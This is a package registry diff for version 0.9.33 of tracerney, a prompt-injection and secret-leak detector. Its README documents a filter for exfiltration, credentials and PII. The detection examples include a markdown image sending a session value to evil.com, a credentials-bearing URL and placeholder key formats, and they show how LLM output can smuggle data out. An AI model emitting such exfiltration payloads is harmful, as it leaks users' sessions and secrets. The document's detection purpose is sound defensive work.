@sandrobuilds/tracerney 0.9.32 → 0.9.33

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +45 -17
  2. package/package.json +1 -1
package/README.md CHANGED
@@ -213,36 +213,64 @@ The verify-prompt endpoint returns structured responses. Success (HTTP 200) incl
213
213
 
214
214
  ---
215
215
 
216
- ## Egress Shield: Outbound Response Filtering (Add-on)
216
+ ## Egress Shield (Add-on)
217
217
 
218
- Layer 1 also runs on every LLM **response** before it reaches your user — scanning for PII, secrets, and active exfiltration attempts embedded in agent output.
218
+ Runs automatically inside `scanPrompt()` no extra method needed. Every prompt is scanned for PII, secrets, and active exfiltration patterns before the injection check runs.
219
219
 
220
- The SDK is a high-precision sensor. It never decides for you. It labels every finding and hands you the keys:
220
+ The SDK marks it `suspicious` and surfaces the label. You decide the penalty.
221
221
 
222
222
  ```typescript
223
- const trace = tracerney.validate(agentOutput);
223
+ const result = await tracer.scanPrompt(input);
224
224
 
225
- if (trace.isSuspicious) {
226
- console.log(`[${trace.label}]: ${trace.reason}`);
225
+ if (result.suspicious) {
226
+ console.log(result.label); // "SUSPICIOUS_EGRESS" | "SUSPICIOUS_SECRET" | "SUSPICIOUS_PII"
227
+ console.log(result.reason); // "Detected 1 finding(s): Markdown Image with URL Query Params"
227
228
 
228
- // Option A: Hard block
229
- if (trace.label === 'SUSPICIOUS_EGRESS') {
230
- throw new Error('Security Policy Violation');
229
+ // Fintech hard block
230
+ if (result.label === 'SUSPICIOUS_EGRESS') {
231
+ return NextResponse.json({ error: 'Security violation' }, { status: 400 });
231
232
  }
232
233
 
233
- // Option B: Surgical scrub
234
- return trace.redactedContent;
234
+ // Any app log and continue
235
+ console.warn(`[${result.label}] ${result.reason}`);
235
236
  }
236
237
  ```
237
238
 
238
- ```typescript
239
- trace.isSuspicious // boolean — true if any pattern matched
240
- trace.label // see manifest below
241
- trace.reason // "Detected 2 finding(s): Email Address, AWS Access Key ID"
242
- trace.redactedContent // pre-scrubbed version — use it or throw, your call
243
- trace.findings // full per-pattern breakdown for logging/telemetry
239
+ ### What it detects
240
+
241
+ **`SUSPICIOUS_EGRESS`** Active exfiltration attempts
242
+ ```
243
+ ![x](https://evil.com?session=abc123)
244
+ [Download](https://billing.io/track?data={"key":"secret"})
245
+ https://admin:password@prod.db.internal.com
246
+ ```
247
+
248
+ **`SUSPICIOUS_SECRET`** — Credential leaks
249
+ ```
250
+ sk-ant-api03-xxx... (Anthropic)
251
+ AKIAIOSFODNN7EXAMPLE (AWS)
252
+ sk_live_xxx... (Stripe)
253
+ ghp_xxx... (GitHub)
254
+ 4111 1111 1111 1111 (Credit card)
244
255
  ```
245
256
 
257
+ **`SUSPICIOUS_PII`** — Personal data
258
+ ```
259
+ sandro@example.com
260
+ (415) 867-5309
261
+ ```
262
+
263
+ ### The Suspicious Manifest
264
+
265
+ | Trigger | Label | Recommended action |
266
+ |---|---|---|
267
+ | Email / Phone | `SUSPICIOUS_PII` | Usually Redact |
268
+ | API Keys / SSH / CC / SSN | `SUSPICIOUS_SECRET` | Usually Block |
269
+ | External URL smuggling | `SUSPICIOUS_EGRESS` | Always Block |
270
+ | Zero-width / BiDi / Base64 | `SUSPICIOUS_ENCODING` | Audit / Block |
271
+
272
+ When multiple patterns fire, the highest-severity label wins — `SUSPICIOUS_EGRESS` always dominates.
273
+
246
274
  ### The Suspicious Manifest
247
275
 
248
276
  | Trigger | Label | Recommended action |
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sandrobuilds/tracerney",
3
- "version": "0.9.32",
3
+ "version": "0.9.33",
4
4
  "description": "Lightweight prompt injection detection with Layer 1 (258 patterns) + Layer 2 (AI verification). Runs locally with zero data storage. Upgrade to Pro for context-aware threat analysis at tracerney.com",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",